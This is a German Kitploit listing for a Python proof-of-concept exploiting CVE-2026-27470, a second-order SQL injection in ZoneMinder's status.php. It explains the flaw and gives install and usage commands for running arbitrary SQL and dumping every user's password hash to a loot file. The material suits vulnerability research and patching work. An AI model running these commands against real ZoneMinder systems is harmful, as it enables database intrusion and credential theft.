Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-27470-POC — Python-PoC für CVE-2026-27470, authentifizierte SQL-Injection zweiter Ordnung in ZoneMinders getNearEvents() (status.php), CVSS 8.8 | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2026-27470-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd3vn0mi/cve-2026-27470-poc

CVE-2026-27470-POC

Python-PoC für CVE-2026-27470, authentifizierte SQL-Injection zweiter Ordnung in ZoneMinders getNearEvents() (status.php), CVSS 8.8

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-27470 — ZoneMinder Second-Order SQL Injection PoC

Autor: d3vn0mi | CVSS 8.8 | Authentifiziert | Events-Berechtigung erforderlich

Übersicht

CVE-2026-27470 ist eine Second-Order-SQL-Injection-Schwachstelle in ZoneMinders web/ajax/status.php – insbesondere in der Funktion getNearEvents().

DetailWert
BetroffenZoneMinder <= 1.36.37 und 1.37.61 – 1.38.0
Behoben in1.36.38 / 1.38.1
TypSecond-Order SQL Injection
Auth erforderlichJa (jeder Benutzer mit Events-Berechtigung)
CVSS8.8 (Hoch)

Funktionsweise

Die Schwachstelle ist eine zweiphasige (Second-Order) SQL-Injection:

  1. Phase 1 – Speichern: Der Angreifer benennt ein Event um (oder bearbeitet dessen Cause-Feld), sodass es eine SQL-Payload enthält. ZoneMinder verwendet für diesen Schreibvorgang eine parametrisierte Abfrage, sodass die Payload sicher in der Datenbank gespeichert wird – keine WAF oder Filter blockiert sie.

  2. Phase 2 – Auslösen: Der Angreifer fordert die Entität nearevents über die Status-API an. Die Funktion getNearEvents() liest den gespeicherten Event-Namen/das Cause-Feld aus der Datenbank und verkettet ihn direkt in eine neue SQL-Abfrage ohne Bereinigung, was zu einer SQL-Injection führt.

Da der Injektionsvektor (gespeicherte Daten) vom Auslöser (eine saubere GET-Anfrage) getrennt ist, umgeht dies die meisten Schutzmechanismen auf Eingabeebene.

Installation

root@kitploit:~
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt

Verwendung

Grundlegend – Datenbankversion extrahieren

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password

Benutzerdefinierte SQL-Abfrage

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"

Alle Benutzer und Passwort-Hashes ausgeben

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users

Die Zugangsdaten werden standardmäßig in dumped_creds.txt gespeichert.

Ergebnisse in einer benutzerdefinierten Datei speichern

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt

Über einen Proxy leiten (Burp / mitmproxy)

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080

Das Cause-Feld anstelle des Namens verwenden

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"

Eine Event-ID manuell angeben

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42

Ausführliche / Debug-Ausgabe

root@kitploit:~
python3 poc.py -t http://10.10.10.10 -u admin -p password -v

Optionen

FlagBeschreibungStandard
-t, --targetZiel-URL(erforderlich)
-u, --usernameZoneMinder-Benutzername(erforderlich)
-p, --passwordZoneMinder-Passwort(erforderlich)
--queryAuszuführende SQL-AbfrageSELECT VERSION()
--dump-usersAlle Benutzernamen und Passwort-Hashes ausgeben
-o, --outputErgebnisse in Datei speicherndumped_creds.txt
--event-idEvent-ID als Injektionsträger verwenden(automatisch erkannt)
--fieldInjektionsfeld: Name oder CauseName
--no-restoreEvent-Namen nach der Ausnutzung nicht wiederherstellen
--proxyHTTP-Proxy-URL
--timeoutAnfrage-Timeout in Sekunden30
-v, --verboseDebug-Logging aktivieren

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben. Die Autoren sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Tool verursacht werden.

Referenzen

  • ZoneMinder Offizielle Website
  • ZoneMinder GitHub-Repository
Tool herunterladen